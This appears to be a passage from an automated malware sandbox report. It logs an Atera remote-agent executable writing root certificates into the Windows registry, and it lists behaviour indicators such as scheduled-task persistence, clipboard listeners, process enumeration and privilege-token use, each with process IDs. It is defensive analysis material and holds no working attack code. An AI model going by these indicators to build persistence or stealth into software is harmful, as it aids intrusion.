e0665f596aff22d863e8256f3f2000000001000000f3030000308203ef308202d7a003020102020100300d06092a864886f70d01010b0500308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100d50c3ac42af94ee2f5be19975f8e8853b11f3fcbcf9f20136d293ac80f7d3cf76b763863d93660a89b5e5c0080b22f597ff687f9254386e7691b529a90e171e3d82d0d4e6ff6c849d9b6f31a56ae2bb67414ebcffb26e31aba1d962e6a3b5894894756ff25a093705383da847414c3679e04683adf8e405a1d4a4ecf43913be756d60070cb52ee7b7dae3ae7bc31f945f6c260cf1359022b80cc3447dfb9de90656d02cf2c91a6a6e7de8518497c664ea33a6da9b5ee342eba0d03b833df47ebb16b8d25d99bce81d1454632967087de020e494385b66c73bb64ea6141acc9d454df872fc722b226cc9f5954689ffcbe2a2fc4551c75406017850255398b7f050203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604149c5f00dfaa01d7302b3888a2b86d4a9cf2119183300d06092a864886f70d01010b050003820101004b36a6847769dd3b199f6723086f0e61c9fd84dc5fd83681cdd81b412d9f60ddc71a68d9d16e86e18823cf13de43cfe234b3049d1f29d5bff85ec8d5c1bdee926f3274f291822fbd82427aad2ab7207d4dbc7a5512c215eabdf76a952e6c749fcf1cb4f2c501a385d0723ead73ab0b9b750c6d45b78e94ac9637b5a0d08f15470ee3e883dd8ffdef410177cc27a9628533f23708ef71cf7706dec8191d8840cf7d461dff1ec7e1ceff23dbc6fa8d554ea902e74711463ef4fdbd7b2926bba961623728b62d2af6108664c970a7d2adb7297079ea3cda63259ffd68b730ec70fb758ab76d6067b21ec8b9e9d8a86f028b670d4d265771da20fcc14a508db128ba	AteraAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\925A8F8D2C6D04E0665F596AFF22D863E8256F3F\Blob = 19000000010000001000000014d4b19434670e6dc091d154abb20edc030000000100000014000000925a8f8d2c6d04e0665f596aff22d863e8256f3f7e00000001000000080000000080c82b6886d7017f000000010000000c000000300a06082b060105050703031d000000010000001000000052135310639a10f77f886b229b9f7afc1400000001000000140000009c5f00dfaa01d7302b3888a2b86d4a9cf2119183620000000100000020000000568d6905a2c88708a4b3025190edcfedb1974a606a13c6e5290fcb2ae63edab553000000010000002500000030233021060b6086480186fd6e0107180330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000006200000041006d0061007a006f006e00200053006500720076006900630065007300200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020002d002d0020004700320000000f00000001000000200000001504593902ec8a0bab29f03bf35c3058b5fd1807a74dab92cb61ed4a9908afa42000000001000000f3030000308203ef308202d7a003020102020100300d06092a864886f70d01010b0500308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308198310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c6531253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e313b303906035504031332537461726669656c6420536572766963657320526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100d50c3ac42af94ee2f5be19975f8e8853b11f3fcbcf9f20136d293ac80f7d3cf76b763863d93660a89b5e5c0080b22f597ff687f9254386e7691b529a90e171e3d82d0d4e6ff6c849d9b6f31a56ae2bb67414ebcffb26e31aba1d962e6a3b5894894756ff25a093705383da847414c3679e04683adf8e405a1d4a4ecf43913be756d60070cb52ee7b7dae3ae7bc31f945f6c260cf1359022b80cc3447dfb9de90656d02cf2c91a6a6e7de8518497c664ea33a6da9b5ee342eba0d03b833df47ebb16b8d25d99bce81d1454632967087de020e494385b66c73bb64ea6141acc9d454df872fc722b226cc9f5954689ffcbe2a2fc4551c75406017850255398b7f050203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604149c5f00dfaa01d7302b3888a2b86d4a9cf2119183300d06092a864886f70d01010b050003820101004b36a6847769dd3b199f6723086f0e61c9fd84dc5fd83681cdd81b412d9f60ddc71a68d9d16e86e18823cf13de43cfe234b3049d1f29d5bff85ec8d5c1bdee926f3274f291822fbd82427aad2ab7207d4dbc7a5512c215eabdf76a952e6c749fcf1cb4f2c501a385d0723ead73ab0b9b750c6d45b78e94ac9637b5a0d08f15470ee3e883dd8ffdef410177cc27a9628533f23708ef71cf7706dec8191d8840cf7d461dff1ec7e1ceff23dbc6fa8d554ea902e74711463ef4fdbd7b2926bba961623728b62d2af6108664c970a7d2adb7297079ea3cda63259ffd68b730ec70fb758ab76d6067b21ec8b9e9d8a86f028b670d4d265771da20fcc14a508db128ba	AteraAgent.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4	AteraAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 0f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e42000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	AteraAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e19962000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	AteraAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 04000000010000001000000078f2fcaa601f2fb4ebc937ba532e75490f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e1996530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac89988140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f1d0000000100000010000000a86dc6a233eb339610f3ed414927c559030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e4190000000100000010000000ffac207997bb2cfe865570179ee037b92000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	AteraAgent.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4\Blob = 5c000000010000000400000000100000190000000100000010000000ffac207997bb2cfe865570179ee037b9030000000100000014000000ddfb16cd4931c973a2037d3fc83a4d7d775d05e41d0000000100000010000000a86dc6a233eb339610f3ed414927c559140000000100000014000000ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f620000000100000020000000552f7bdcf1a7af9e6ce672017f4f12abf77240c78e761ac203d1d9d20ac899880b00000001000000320000004400690067006900430065007200740020005400720075007300740065006400200052006f006f0074002000470034000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000300000004ea1b34b10b982a96a38915843507820ad632c6aad8343e337b34d660cd8366fa154544ae80668ae1fdf3931d57e199604000000010000001000000078f2fcaa601f2fb4ebc937ba532e75492000000001000000940500003082059030820378a0030201020210059b1b579e8e2132e23907bda777755c300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3133303830313132303030305a170d3338303131353132303030305a3062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f7420473430820222300d06092a864886f70d01010105000382020f003082020a0282020100bfe6907368debbe45d4a3c3022306933ecc2a7252ec9213df28ad859c2e129a73d58ab769acdae7b1b840dc4301ff31ba43816eb56c6976d1dabb279f2ca11d2e45fd6053c520f521fc69e15a57ebe9fa95716595572af689370c2b2ba75996a733294d11044102edf82f30784e6743b6d71e22d0c1bee20d5c9201d63292dceec5e4ec893f821619b34eb05c65eec5b1abcebc9cfcdac34405fb17a66ee77c848a86657579f54588e0c2bb74fa730d956eeca7b5de3adc94f5ee535e731cbda935edc8e8f80dab69198409079c378c7b6b1c4b56a183803108dd8d437a42e057d88f5823e109170ab55824132d7db04732a6e91017c214cd4bcae1b03755d7866d93a31449a3340bf08d75a49a4c2e6a9a067dda427bca14f39b5115817f7245c468f64f7c169887698763d595d4276878997697a48f0e0a2121b669a74cade4b1ee70e63aee6d4ef92923a9e3ddc00e4452589b69a44192b7ec094b4d2616deb33d9c5df4b0400cc7d1c95c38ff721b2b211b7bb7ff2d58c702c4160aab1631844951a76627ef680b0fbe864a633d18907e1bdb7e643a418b8a67701e10f940c211db2542925896ce50e52514774be26acb64175de7aac5f8d3fc9bcd34111125be51050eb31c5ca72162209df7c4c753f63ec215fc420516b6fb1ab868b4fc2d6455f9d20fca11ec5c08fa2b17e0a2699f5e4692f981d2df5d9a9b21de51b0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300d06092a864886f70d01010c05000382020100bb61d97da96cbe17c4911bc3a1a2008de364680f56cf77ae70f9fd9a4a99b9c9785c0c0c5fe4e61429560b36495d4463e0ad9c9618661b230d3d79e96d6bd654f8d23cc14340ae1d50f552fc903bbb9899696bc7c1a7a868a427dc9df927ae3085b9f6674d3a3e8f5939225344ebc85d03caed507a7d62210a80c87366d1a005605fe8a5b4a7afa8f76d359c7c5a8ad6a23899f3788bf44dd2200bde04ee8c9b4781720dc01432ef30592eaee071f256e46a976f92506d968d687a9ab236147a06f224b9091150d708b1b8897a8423614229e5a3cda22041d7d19c64d9ea26a18b14d74c19b25041713d3f4d7023860c4adc81d2cc3294840d0809971c4fc0ee6b207430d2e03934108521150108e85532de7149d92817504de6be4dd175acd0cafb41b843a5aad3c305444f2c369be2fae245b823536c066f67557f46b54c3f6e285a7926d2a4a86297d21ee2ed4a8bbc1bfd474a0ddf67667eb25b41d03be4f43bf40463e9efc2540051a08a2ac9ce78ccd5ea870418b3ceaf4988aff39299b6b3e6610fd28500e7501ae41b959d19a1b99cb19bb1001eefd00f4f426cc90abcee43fa3a71a5c84d26a535fd895dbc85621d32d2a02b54ed9a57c1dbfa10cf19b78b4a1b8f01b6279553e8b6896d5bbc68d423e88b51a256f9f0a680a0d61eb3bc0f0f537529aaea1377e4de8c8121ad07104711ad873d07d175bccff3667e	AteraAgent.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\925A8F8D2C6D04E0665F596AFF22D863E8256F3F	AteraAgent.exe

Runs net.exe

Runs regedit.exe 2 IoCs

pid	Process
4884	regedit.exe
7644	regedit.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3556	schtasks.exe
7476	schtasks.exe
7972	schtasks.exe
7884	schtasks.exe
4568	schtasks.exe
7424	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 6 IoCs

pid	Process
5432	ZTS.exe
2964	ZTS.exe
408	ZTS.exe
5144	ZTS.exe
5268	WINWORD.EXE
5268	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1092	chrome.exe
1092	chrome.exe
4516	chrome.exe
4516	chrome.exe
4516	chrome.exe
4516	chrome.exe
2756	msiexec.exe
2756	msiexec.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe
876	ZTSAux.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
5432	ZTS.exe
4340	iexplore.exe
3432	Explorer.EXE

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: MapViewOfSection 16 IoCs

pid	Process
1440	Setup.exe
5928	Setup.exe
320	more.com
4216	more.com
6092	Setup.exe
4220	more.com
316	BraveSharedUpdater.exe
4340	iexplore.exe
1576	3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d.exe
7964	svchost.exe
7964	svchost.exe
7964	svchost.exe
1600	raserver.exe
1600	raserver.exe
1600	raserver.exe
1600	raserver.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe
1092	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
Token: SeCreatePagefilePrivilege	1092	chrome.exe
Token: SeShutdownPrivilege	1092	chrome.exe
